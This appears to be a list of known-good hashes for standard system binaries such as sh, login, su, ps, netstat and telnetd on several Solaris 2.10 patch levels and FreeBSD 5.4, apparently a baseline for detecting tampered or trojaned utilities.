+AE49A40B4B87DCB3BD6C4FEEA13C5996E65DB8D9 Wed Oct 18 17:41:37 2006 /bin/sh [Solaris 2.10 Generic_120011-14] +718E99FBACB8211B13D39B3D4E9EC965A523097C Tue May 24 23:40:26 2005 /sbin/su [Solaris 2.10 Generic_120011-14] +AE49A40B4B87DCB3BD6C4FEEA13C5996E65DB8D9 Wed Oct 18 17:41:37 2006 /usr/bin/sh [Solaris 2.10 Generic_120011-14] +2617F922256D82013E6CC66C3F95926C7F5F6028 Thu Aug 16 17:22:59 2007 /usr/sbin/inetd [Solaris 2.10 Generic_120011-14] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/w [Solaris 2.10 Generic_120011-14] +C8822BA8B66B633CB861008AE09B2F41A31D6EE1 Fri Aug 25 22:49:18 2006 /usr/ucb/telnet [Solaris 2.10 Generic_120011-14] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /usr/ucb/netstat [Solaris 2.10 Generic_120011-14] +7184C11C7654EDDA4D8656B4204E53397E3A1348 Tue May 1 23:37:28 2007 /bin/rm [Solaris 2.10 Generic_120011-14] +7184C11C7654EDDA4D8656B4204E53397E3A1348 Tue May 1 23:37:28 2007 /usr/bin/rm [Solaris 2.10 Generic_120011-14] +8095E4D382EBC1EA33D6F1C0F206662737BAC3C7 Wed Jun 27 17:35:39 2007 /usr/sbin/in.rshd [Solaris 2.10 Generic_120011-14] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /bin/netstat [Solaris 2.10 Generic_120011-14] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /usr/bin/netstat [Solaris 2.10 Generic_120011-14] +CA74D0528EDC62004E1012031CD7DFDE6B4F9077 Thu Aug 16 17:23:00 2007 /usr/sbin/arp [Solaris 2.10 Generic_120011-14] +DE1C87DE0794F44A7DDB16E1BF256D366218CB32 Mon Sep 17 19:06:34 2007 /usr/sbin/in.ftpd [Solaris 2.10 Generic_120011-14] + +1FC7C1DFEEFF33873A172DA77863EB3D5240A5E4 Sun May 8 07:01:31 2005 /bin/ps [FreeBSD 5.4] +0A333B0101C94A5B476FCDCF06E8502B1B36B1E9 Sun May 8 07:01:32 2005 /bin/sh [FreeBSD 5.4] +C5357232246616D0A1370569A719F769A2172CCC Sun May 8 07:01:32 2005 /bin/rm [FreeBSD 5.4] +52284C303EE83445C52C2CE1A6937AD3CDB5CFEB Sun May 8 07:03:59 2005 /usr/bin/login [FreeBSD 5.4] +045B5D146748C45F581FF492815C933162307574 Sun May 8 07:03:54 2005 /usr/bin/find [FreeBSD 5.4] +C882DEEE8E6BFE5DDB2303AEBFEEA2ECAED44D95 Sun May 8 07:04:09 2005 /usr/bin/su [FreeBSD 5.4] +41781B52086495B36631D6464B4027B2F0989575 Sun May 8 07:04:02 2005 /usr/bin/netstat [FreeBSD 5.4] +977507F5606D64720BBD59C6AF1E23BAB829C8AF Sun May 8 07:04:22 2005 /usr/sbin/arp [FreeBSD 5.4] +A528AA9002197DF93D8830DBF152C790D8A9504E Sun May 8 07:04:32 2005 /usr/sbin/inetd [FreeBSD 5.4] +E9082986A0A80AB18CC2B8345FCB0D336654B2F8 Sun May 8 07:04:10 2005 /usr/bin/telnet [FreeBSD 5.4] +DE052712B22AD3D8A250AAC34A9CC90FC86BDE8C Sun May 8 07:04:16 2005 /usr/bin/w [FreeBSD 5.4] +8549086C9B79BE23EFFB342FF8ACC92DB1AD4CF9 Sun May 8 07:01:31 2005 /bin/ls [FreeBSD 5.4] + +3C2DDE6A5193F9B4F0D2C1073F976D90D6A2B0D1 Sun May 8 05:59:14 2005 /bin/sh [FreeBSD 5.4 x86_64] +1688FD4ABC122B5041622C2FBD554D853DC489F1 Sun May 8 05:59:13 2005 /bin/ls [FreeBSD 5.4 x86_64] +32659785DB12F9186CC23D12EBC86402D89EF621 Sun May 8 05:59:14 2005 /bin/ps [FreeBSD 5.4 x86_64] +CB5F7F09EE97BFA3FFB35400258DE49BB87ECF55 Sun May 8 05:59:14 2005 /bin/rm [FreeBSD 5.4 x86_64] +1E8C3C51482DA7503BA704248F4BA125C87231AB Sun May 8 06:00:22 2005 /usr/bin/su [FreeBSD 5.4 x86_64] +5D42507853F32941EC8EA86517357D2C5C2704F6 Sun May 8 06:00:19 2005 /usr/bin/login [FreeBSD 5.4 x86_64] +E87797AF847969001335BC01597F2DD17355EE03 Sun May 8 06:00:20 2005 /usr/bin/netstat [FreeBSD 5.4 x86_64] +609808724875C2EBEB1782E390862E40EFFD6828 Sun May 8 06:00:22 2005 /usr/bin/telnet [FreeBSD 5.4 x86_64] +5B220B2EE7223C96E72F7CF3E9A63D6DF62F94B9 Sun May 8 06:00:28 2005 /usr/sbin/arp [FreeBSD 5.4 x86_64] +6FE7C628421131C4CD6A1EA5A0142C18835FDAE6 Sun May 8 06:00:31 2005 /usr/sbin/inetd [FreeBSD 5.4 x86_64] +5CDABE215CA0D2FDCFB3B47DF7C4CA86D1AA5C69 Sun May 8 06:00:17 2005 /usr/bin/find [FreeBSD 5.4 x86_64] +309F85134EFF5BF3319E660EE36EC9BE18127C8A Sun May 8 06:00:24 2005 /usr/bin/w [FreeBSD 5.4 x86_64] + +28B231738CD44936469C6C78C5BB671C68AB58E2 Sun Jan 23 01:26:34 2005 /usr/sbin/in.rlogind [Solaris 2.10 Generic_125100-10] +1712E39DC94B53300FE64CEB0AA68DC701F0E65C Sun Jan 23 01:29:11 2005 /usr/ucb/ls [Solaris 2.10 Generic_125100-10] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /bin/login [Solaris 2.10 Generic_125100-10] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /usr/bin/login [Solaris 2.10 Generic_125100-10] +28DA2190D32FA5CD6D98ED027BCB1A3300DFBBF3 Sun Jan 23 01:48:13 2005 /usr/bin/sparcv9/w [Solaris 2.10 Generic_125100-10] +2A0AC3329C6E52FF0B0AF573D9230868789B6DE6 Sun Jan 23 01:48:32 2005 /usr/sbin/arp [Solaris 2.10 Generic_125100-10] +97FC02858FEBC1A825229662492EF8FB1844832F Sun Jan 23 01:48:44 2005 /usr/sbin/sparcv9/modinfo [Solaris 2.10 Generic_125100-10] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/ps [Solaris 2.10 Generic_125100-10] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/w [Solaris 2.10 Generic_125100-10] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/ps [Solaris 2.10 Generic_125100-10] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/w [Solaris 2.10 Generic_125100-10] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/sbin/modinfo [Solaris 2.10 Generic_125100-10] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/ps [Solaris 2.10 Generic_125100-10] +D40185C7CD0B410E40D08B7FCB7739BE6ACA6601 Sun Jan 23 02:21:25 2005 /usr/sbin/in.tftpd [Solaris 2.10 Generic_125100-10] +7EB5C7BCF37C8160BC4D43723C430A542540DF47 Fri Feb 10 20:37:13 2006 /bin/netstat [Solaris 2.10 Generic_125100-10] +7EB5C7BCF37C8160BC4D43723C430A542540DF47 Fri Feb 10 20:37:13 2006 /usr/bin/netstat [Solaris 2.10 Generic_125100-10] +B9E23B1A737E898C1ADFDFBD5D0F077E4B0B1ED0 Fri Apr 28 20:26:49 2006 /bin/ls [Solaris 2.10 Generic_125100-10] +B9E23B1A737E898C1ADFDFBD5D0F077E4B0B1ED0 Fri Apr 28 20:26:49 2006 /usr/bin/ls [Solaris 2.10 Generic_125100-10] +22E2CCB085D982AD731E643544541855F2ABACA6 Fri Apr 28 20:26:49 2006 /bin/find [Solaris 2.10 Generic_125100-10] +22E2CCB085D982AD731E643544541855F2ABACA6 Fri Apr 28 20:26:49 2006 /usr/bin/find [Solaris 2.10 Generic_125100-10] +4989A29E7D2FC088766950845F9CA3044866BD1C Fri Apr 28 20:26:49 2006 /usr/bin/sparcv9/ls [Solaris 2.10 Generic_125100-10] +DE36A12846CC42C1E098A40549A3EF4ECDA1C868 Thu May 4 22:09:10 2006 /usr/bin/sparcv9/ps [Solaris 2.10 Generic_125100-10] +C8822BA8B66B633CB861008AE09B2F41A31D6EE1 Fri Aug 25 22:49:18 2006 /bin/telnet [Solaris 2.10 Generic_125100-10] +C8822BA8B66B633CB861008AE09B2F41A31D6EE1 Fri Aug 25 22:49:18 2006 /usr/bin/telnet [Solaris 2.10 Generic_125100-10] +AE49A40B4B87DCB3BD6C4FEEA13C5996E65DB8D9 Wed Oct 18 17:41:37 2006 /sbin/sh [Solaris 2.10 Generic_125100-10] +0DBC9948E583CE2AF48FA453194C2899B0367140 Thu Feb 15 15:07:20 2007 /usr/sbin/in.telnetd [Solaris 2.10 Generic_125100-10] +AE49A40B4B87DCB3BD6C4FEEA13C5996E65DB8D9 Wed Oct 18 17:41:37 2006 /bin/sh [Solaris 2.10 Generic_125100-10] +C34F291A52233F7D2558DFBB82CC2F5676C63E2F Thu Feb 12 19:23:47 2009 /sbin/su [Solaris 2.10 Generic_125100-10] +AE49A40B4B87DCB3BD6C4FEEA13C5996E65DB8D9 Wed Oct 18 17:41:37 2006 /usr/bin/sh [Solaris 2.10 Generic_125100-10] +1034397DC4E0B7F3D33BFAF50A2EFE6C2CE3E3CE Tue May 15 20:30:13 2007 /usr/sbin/inetd [Solaris 2.10 Generic_125100-10] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/w [Solaris 2.10 Generic_125100-10] +C8822BA8B66B633CB861008AE09B2F41A31D6EE1 Fri Aug 25 22:49:18 2006 /usr/ucb/telnet [Solaris 2.10 Generic_125100-10] +7EB5C7BCF37C8160BC4D43723C430A542540DF47 Fri Feb 10 20:37:13 2006 /usr/ucb/netstat [Solaris 2.10 Generic_125100-10] +86EB7454C778381411D6C846E7174D43EE0201E7 Thu Mar 29 19:31:41 2007 /usr/sbin/in.ftpd [Solaris 2.10 Generic_125100-10] +57DAB1633629EF78339C697DE6DEEF5CFBEC02D3 Wed Apr 11 21:40:23 2007 /bin/rm [Solaris 2.10 Generic_125100-10] +57DAB1633629EF78339C697DE6DEEF5CFBEC02D3 Wed Apr 11 21:40:23 2007 /usr/bin/rm [Solaris 2.10 Generic_125100-10] +9CAB3C722C58D4FCC549B96F578E6A5E2C9229F4 Mon Jun 11 21:17:19 2007 /usr/sbin/in.rshd [Solaris 2.10 Generic_125100-10] +C34F291A52233F7D2558DFBB82CC2F5676C63E2F Thu Feb 12 19:23:47 2009 /bin/su [Solaris 2.10 Generic_125100-10] +C34F291A52233F7D2558DFBB82CC2F5676C63E2F Thu Feb 12 19:23:47 2009 /usr/bin/su [Solaris 2.10 Generic_125100-10] + +B4AE8D8CA1DA60878CB5F5BF96CDCC9C6F2ED105 Sun Jan 23 01:17:24 2005 /usr/sbin/in.ftpd [Solaris 2.10 Generic] +28B231738CD44936469C6C78C5BB671C68AB58E2 Sun Jan 23 01:26:34 2005 /usr/sbin/in.rlogind [Solaris 2.10 Generic] +195A2BAF2C940B9DF444A928DB89BF155DBE8FC6 Sun Jan 23 01:26:34 2005 /usr/sbin/in.rshd [Solaris 2.10 Generic] +1712E39DC94B53300FE64CEB0AA68DC701F0E65C Sun Jan 23 01:29:11 2005 /usr/ucb/ls [Solaris 2.10 Generic] +E12FDE3C35B7465B1D7048222D72A3CB4E18CC95 Sun Jan 23 01:47:20 2005 /sbin/sh [Solaris 2.10 Generic] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /bin/login [Solaris 2.10 Generic] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /usr/bin/login [Solaris 2.10 Generic] +37A2341C3AA80C36FC1FF81627933092AA06A2FF Sun Jan 23 01:48:14 2005 /bin/su [Solaris 2.10 Generic] +37A2341C3AA80C36FC1FF81627933092AA06A2FF Sun Jan 23 01:48:14 2005 /usr/bin/su [Solaris 2.10 Generic] +28DA2190D32FA5CD6D98ED027BCB1A3300DFBBF3 Sun Jan 23 01:48:13 2005 /usr/bin/sparcv9/w [Solaris 2.10 Generic] +2A0AC3329C6E52FF0B0AF573D9230868789B6DE6 Sun Jan 23 01:48:32 2005 /usr/sbin/arp [Solaris 2.10 Generic] +76F7578EC8F4ECA1A69B9506C0A9E069B9E9737F Sun Jan 23 01:48:12 2005 /bin/rm [Solaris 2.10 Generic] +76F7578EC8F4ECA1A69B9506C0A9E069B9E9737F Sun Jan 23 01:48:12 2005 /usr/bin/rm [Solaris 2.10 Generic] +E968C734E5B8721F38A2E0AE28D10775D7255BF1 Sun Jan 23 01:48:09 2005 /bin/ls [Solaris 2.10 Generic] +E968C734E5B8721F38A2E0AE28D10775D7255BF1 Sun Jan 23 01:48:09 2005 /usr/bin/ls [Solaris 2.10 Generic] +83BA51306FEEAF15966936B3667A10D5579DBFDD Sun Jan 23 01:48:06 2005 /bin/find [Solaris 2.10 Generic] +83BA51306FEEAF15966936B3667A10D5579DBFDD Sun Jan 23 01:48:06 2005 /usr/bin/find [Solaris 2.10 Generic] +4F423809C0E61507E61ED366BC82584D9A9C6B90 Sun Jan 23 01:48:13 2005 /usr/bin/sparcv9/ls [Solaris 2.10 Generic] +04427A455FF78F921B404D944B07EB0988C75A98 Sun Jan 23 01:48:13 2005 /usr/bin/sparcv9/ps [Solaris 2.10 Generic] +4ED7161A5DB6E6BB6DBA87853F56E6184974BC55 Sun Jan 23 01:48:10 2005 /bin/netstat [Solaris 2.10 Generic] +4ED7161A5DB6E6BB6DBA87853F56E6184974BC55 Sun Jan 23 01:48:10 2005 /usr/bin/netstat [Solaris 2.10 Generic] +97FC02858FEBC1A825229662492EF8FB1844832F Sun Jan 23 01:48:44 2005 /usr/sbin/sparcv9/modinfo [Solaris 2.10 Generic] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/ps [Solaris 2.10 Generic] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/w [Solaris 2.10 Generic] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/ps [Solaris 2.10 Generic] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/w [Solaris 2.10 Generic] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/sbin/modinfo [Solaris 2.10 Generic] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/ps [Solaris 2.10 Generic] +D40185C7CD0B410E40D08B7FCB7739BE6ACA6601 Sun Jan 23 02:21:25 2005 /usr/sbin/in.tftpd [Solaris 2.10 Generic] +77EDB872CF9D942D04AE12648E61ECCBE366DFF9 Sun Jan 23 02:22:52 2005 /usr/sbin/in.telnetd [Solaris 2.10 Generic] +EF52AC8D5F3ED01277298E6352C23E49FEB10A47 Sun Jan 23 02:22:50 2005 /bin/telnet [Solaris 2.10 Generic] +EF52AC8D5F3ED01277298E6352C23E49FEB10A47 Sun Jan 23 02:22:50 2005 /usr/bin/telnet [Solaris 2.10 Generic] +E12FDE3C35B7465B1D7048222D72A3CB4E18CC95 Sun Jan 23 01:47:20 2005 /bin/sh [Solaris 2.10 Generic] +37A2341C3AA80C36FC1FF81627933092AA06A2FF Sun Jan 23 01:48:14 2005 /sbin/su [Solaris 2.10 Generic] +E12FDE3C35B7465B1D7048222D72A3CB4E18CC95 Sun Jan 23 01:47:20 2005 /usr/bin/sh [Solaris 2.10 Generic] +5D70BA4D976590171A6FF2FDDA5AEBA6D6A46397 Sun Jan 23 01:48:25 2005 /usr/sbin/inetd [Solaris 2.10 Generic] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/w [Solaris 2.10 Generic] +EF52AC8D5F3ED01277298E6352C23E49FEB10A47 Sun Jan 23 02:22:50 2005 /usr/ucb/telnet [Solaris 2.10 Generic] +4ED7161A5DB6E6BB6DBA87853F56E6184974BC55 Sun Jan 23 01:48:10 2005 /usr/ucb/netstat [Solaris 2.10 Generic] + +1712E39DC94B53300FE64CEB0AA68DC701F0E65C Sun Jan 23 01:29:11 2005 /usr/ucb/ls [Solaris 2.10 Generic_137137-09] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /bin/login [Solaris 2.10 Generic_137137-09] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /usr/bin/login [Solaris 2.10 Generic_137137-09] +28DA2190D32FA5CD6D98ED027BCB1A3300DFBBF3 Sun Jan 23 01:48:13 2005 /usr/bin/sparcv9/w [Solaris 2.10 Generic_137137-09] +97FC02858FEBC1A825229662492EF8FB1844832F Sun Jan 23 01:48:44 2005 /usr/sbin/sparcv9/modinfo [Solaris 2.10 Generic_137137-09] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/ps [Solaris 2.10 Generic_137137-09] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/w [Solaris 2.10 Generic_137137-09] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/ps [Solaris 2.10 Generic_137137-09] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/w [Solaris 2.10 Generic_137137-09] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/sbin/modinfo [Solaris 2.10 Generic_137137-09] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/ps [Solaris 2.10 Generic_137137-09] +718E99FBACB8211B13D39B3D4E9EC965A523097C Tue May 24 23:40:26 2005 /bin/su [Solaris 2.10 Generic_137137-09] +718E99FBACB8211B13D39B3D4E9EC965A523097C Tue May 24 23:40:26 2005 /usr/bin/su [Solaris 2.10 Generic_137137-09] +DE36A12846CC42C1E098A40549A3EF4ECDA1C868 Thu May 4 22:09:10 2006 /usr/bin/sparcv9/ps [Solaris 2.10 Generic_137137-09] +7517C58435FCEC3DA4FC086FBD451F380DF487B4 Fri Jun 30 00:39:44 2006 /usr/sbin/in.tftpd [Solaris 2.10 Generic_137137-09] +7184C11C7654EDDA4D8656B4204E53397E3A1348 Tue May 1 23:37:28 2007 /bin/rm [Solaris 2.10 Generic_137137-09] +7184C11C7654EDDA4D8656B4204E53397E3A1348 Tue May 1 23:37:28 2007 /usr/bin/rm [Solaris 2.10 Generic_137137-09] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /bin/netstat [Solaris 2.10 Generic_137137-09] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /usr/bin/netstat [Solaris 2.10 Generic_137137-09] +CA74D0528EDC62004E1012031CD7DFDE6B4F9077 Thu Aug 16 17:23:00 2007 /usr/sbin/arp [Solaris 2.10 Generic_137137-09] +D370603194C8412A71C45E1A24722D893933B6A6 Thu Oct 11 16:19:00 2007 /usr/sbin/in.ftpd [Solaris 2.10 Generic_137137-09] +F9F01D43C2C29597F03F980D0EF1D914A1E60D6F Mon Apr 7 23:09:47 2008 /usr/sbin/in.telnetd [Solaris 2.10 Generic_137137-09] +87EFBF142180C235020FDFF6C71DCB9BEB38670D Mon Apr 7 23:09:45 2008 /bin/telnet [Solaris 2.10 Generic_137137-09] +87EFBF142180C235020FDFF6C71DCB9BEB38670D Mon Apr 7 23:09:45 2008 /usr/bin/telnet [Solaris 2.10 Generic_137137-09] +0249DF8DAF81051E46862459152FAB469CBEFB97 Mon Apr 7 23:13:46 2008 /usr/sbin/in.rlogind [Solaris 2.10 Generic_137137-09] +607C0342F077A6FD049145627389AA235A8AAA58 Mon Apr 7 23:13:46 2008 /usr/sbin/in.rshd [Solaris 2.10 Generic_137137-09] +306C53157E16AC76405F5DA21B05AB7A472021E1 Wed May 21 22:34:42 2008 /sbin/sh [Solaris 2.10 Generic_137137-09] +BB9D3B2F85B9C4108C27C6E72FB9219EAE3A2780 Wed Jun 11 15:58:26 2008 /bin/ls [Solaris 2.10 Generic_137137-09] +BB9D3B2F85B9C4108C27C6E72FB9219EAE3A2780 Wed Jun 11 15:58:26 2008 /usr/bin/ls [Solaris 2.10 Generic_137137-09] +FB1685723025277D3C2021B209343B0BAE2F8C57 Wed Jun 11 15:58:26 2008 /usr/bin/sparcv9/ls [Solaris 2.10 Generic_137137-09] +90773588010614EAFFFC14F80CF8025C4ED9B977 Fri Oct 3 21:38:54 2008 /bin/find [Solaris 2.10 Generic_137137-09] +90773588010614EAFFFC14F80CF8025C4ED9B977 Fri Oct 3 21:38:54 2008 /usr/bin/find [Solaris 2.10 Generic_137137-09] +306C53157E16AC76405F5DA21B05AB7A472021E1 Wed May 21 22:34:42 2008 /bin/sh [Solaris 2.10 Generic_137137-09] +718E99FBACB8211B13D39B3D4E9EC965A523097C Tue May 24 23:40:26 2005 /sbin/su [Solaris 2.10 Generic_137137-09] +306C53157E16AC76405F5DA21B05AB7A472021E1 Wed May 21 22:34:42 2008 /usr/bin/sh [Solaris 2.10 Generic_137137-09] +201BA78CB4D1F9F029C66BE99395AC236D92BE9B Mon Apr 7 23:16:44 2008 /usr/sbin/inetd [Solaris 2.10 Generic_137137-09] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/w [Solaris 2.10 Generic_137137-09] +87EFBF142180C235020FDFF6C71DCB9BEB38670D Mon Apr 7 23:09:45 2008 /usr/ucb/telnet [Solaris 2.10 Generic_137137-09] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /usr/ucb/netstat [Solaris 2.10 Generic_137137-09] + +1712E39DC94B53300FE64CEB0AA68DC701F0E65C Sun Jan 23 01:29:11 2005 /usr/ucb/ls [Solaris 2.10 Generic_141414-08] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /bin/login [Solaris 2.10 Generic_141414-08] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /usr/bin/login [Solaris 2.10 Generic_141414-08] +28DA2190D32FA5CD6D98ED027BCB1A3300DFBBF3 Sun Jan 23 01:48:13 2005 /usr/bin/sparcv9/w [Solaris 2.10 Generic_141414-08] +97FC02858FEBC1A825229662492EF8FB1844832F Sun Jan 23 01:48:44 2005 /usr/sbin/sparcv9/modinfo [Solaris 2.10 Generic_141414-08] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/ps [Solaris 2.10 Generic_141414-08] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/w [Solaris 2.10 Generic_141414-08] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/ps [Solaris 2.10 Generic_141414-08] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/w [Solaris 2.10 Generic_141414-08] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/sbin/modinfo [Solaris 2.10 Generic_141414-08] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/ps [Solaris 2.10 Generic_141414-08] +DE36A12846CC42C1E098A40549A3EF4ECDA1C868 Thu May 4 22:09:10 2006 /usr/bin/sparcv9/ps [Solaris 2.10 Generic_141414-08] +7517C58435FCEC3DA4FC086FBD451F380DF487B4 Fri Jun 30 00:39:44 2006 /usr/sbin/in.tftpd [Solaris 2.10 Generic_141414-08] +7184C11C7654EDDA4D8656B4204E53397E3A1348 Tue May 1 23:37:28 2007 /bin/rm [Solaris 2.10 Generic_141414-08] +7184C11C7654EDDA4D8656B4204E53397E3A1348 Tue May 1 23:37:28 2007 /usr/bin/rm [Solaris 2.10 Generic_141414-08] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /bin/netstat [Solaris 2.10 Generic_141414-08] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /usr/bin/netstat [Solaris 2.10 Generic_141414-08] +CA74D0528EDC62004E1012031CD7DFDE6B4F9077 Thu Aug 16 17:23:00 2007 /usr/sbin/arp [Solaris 2.10 Generic_141414-08] +F9F01D43C2C29597F03F980D0EF1D914A1E60D6F Mon Apr 7 23:09:47 2008 /usr/sbin/in.telnetd [Solaris 2.10 Generic_141414-08] +87EFBF142180C235020FDFF6C71DCB9BEB38670D Mon Apr 7 23:09:45 2008 /bin/telnet [Solaris 2.10 Generic_141414-08] +87EFBF142180C235020FDFF6C71DCB9BEB38670D Mon Apr 7 23:09:45 2008 /usr/bin/telnet [Solaris 2.10 Generic_141414-08] +0249DF8DAF81051E46862459152FAB469CBEFB97 Mon Apr 7 23:13:46 2008 /usr/sbin/in.rlogind [Solaris 2.10 Generic_141414-08] +607C0342F077A6FD049145627389AA235A8AAA58 Mon Apr 7 23:13:46 2008 /usr/sbin/in.rshd [Solaris 2.10 Generic_141414-08] +BB9D3B2F85B9C4108C27C6E72FB9219EAE3A2780 Wed Jun 11 15:58:26 2008 /bin/ls [Solaris 2.10 Generic_141414-08] +BB9D3B2F85B9C4108C27C6E72FB9219EAE3A2780 Wed Jun 11 15:58:26 2008 /usr/bin/ls [Solaris 2.10 Generic_141414-08] +FB1685723025277D3C2021B209343B0BAE2F8C57 Wed Jun 11 15:58:26 2008 /usr/bin/sparcv9/ls [Solaris 2.10 Generic_141414-08] +90773588010614EAFFFC14F80CF8025C4ED9B977 Fri Oct 3 21:38:54 2008 /bin/find [Solaris 2.10 Generic_141414-08] +90773588010614EAFFFC14F80CF8025C4ED9B977 Fri Oct 3 21:38:54 2008 /usr/bin/find [Solaris 2.10 Generic_141414-08] +5F2DB0D3FA53401170294FE789E691837B1F91A9 Wed Dec 10 02:44:42 2008 /usr/sbin/in.ftpd [Solaris 2.10 Generic_141414-08] +C34F291A52233F7D2558DFBB82CC2F5676C63E2F Thu Feb 12 19:23:47 2009 /bin/su [Solaris 2.10 Generic_141414-08] +C34F291A52233F7D2558DFBB82CC2F5676C63E2F Thu Feb 12 19:23:47 2009 /usr/bin/su [Solaris 2.10 Generic_141414-08] +8BF0114E8386ACA79479A2F11D48CE044C8C3BEB Thu Jun 18 23:30:39 2009 /sbin/sh [Solaris 2.10 Generic_141414-08] +8BF0114E8386ACA79479A2F11D48CE044C8C3BEB Thu Jun 18 23:30:39 2009 /bin/sh [Solaris 2.10 Generic_141414-08] +C34F291A52233F7D2558DFBB82CC2F5676C63E2F Thu Feb 12 19:23:47 2009 /sbin/su [Solaris 2.10 Generic_141414-08] +8BF0114E8386ACA79479A2F11D48CE044C8C3BEB Thu Jun 18 23:30:39 2009 /usr/bin/sh [Solaris 2.10 Generic_141414-08] +201BA78CB4D1F9F029C66BE99395AC236D92BE9B Mon Apr 7 23:16:44 2008 /usr/sbin/inetd [Solaris 2.10 Generic_141414-08] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/w [Solaris 2.10 Generic_141414-08] +87EFBF142180C235020FDFF6C71DCB9BEB38670D Mon Apr 7 23:09:45 2008 /usr/ucb/telnet [Solaris 2.10 Generic_141414-08] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /usr/ucb/netstat [Solaris 2.10 Generic_141414-08] + +FC0B0B00EEADD218FFDE65A7EDC285661E39ECF0 Sun Jan 23 01:38:54 2005 /usr/sbin/in.ftpd [Solaris 2.10 Generic x86_64] +0F830EA25CFC9F324AA8D9092377136B658BBFCF Sun Jan 23 01:58:28 2005 /usr/sbin/in.rlogind [Solaris 2.10 Generic x86_64] +AB80D56B73548C2A7A2B13ACDBFB04D2CCB6F47E Sun Jan 23 01:58:28 2005 /usr/sbin/in.rshd [Solaris 2.10 Generic x86_64] +98D53F020ABFCEBB7D404C8F5B8B1FE4025F95F2 Sun Jan 23 02:03:24 2005 /usr/ucb/ls [Solaris 2.10 Generic x86_64] +30385903C93D44DD5AE04D04A21CF58E5E5E5DE2 Sun Jan 23 02:27:05 2005 /sbin/sh [Solaris 2.10 Generic x86_64] +7728FB75F5326CCBC7D31C9C4D278DDB9D6867FE Sun Jan 23 02:28:13 2005 /bin/login [Solaris 2.10 Generic x86_64] +7728FB75F5326CCBC7D31C9C4D278DDB9D6867FE Sun Jan 23 02:28:13 2005 /usr/bin/login [Solaris 2.10 Generic x86_64] +646ABC806A1BE12D329D1E30506561F02779172F Sun Jan 23 02:28:17 2005 /bin/su [Solaris 2.10 Generic x86_64] 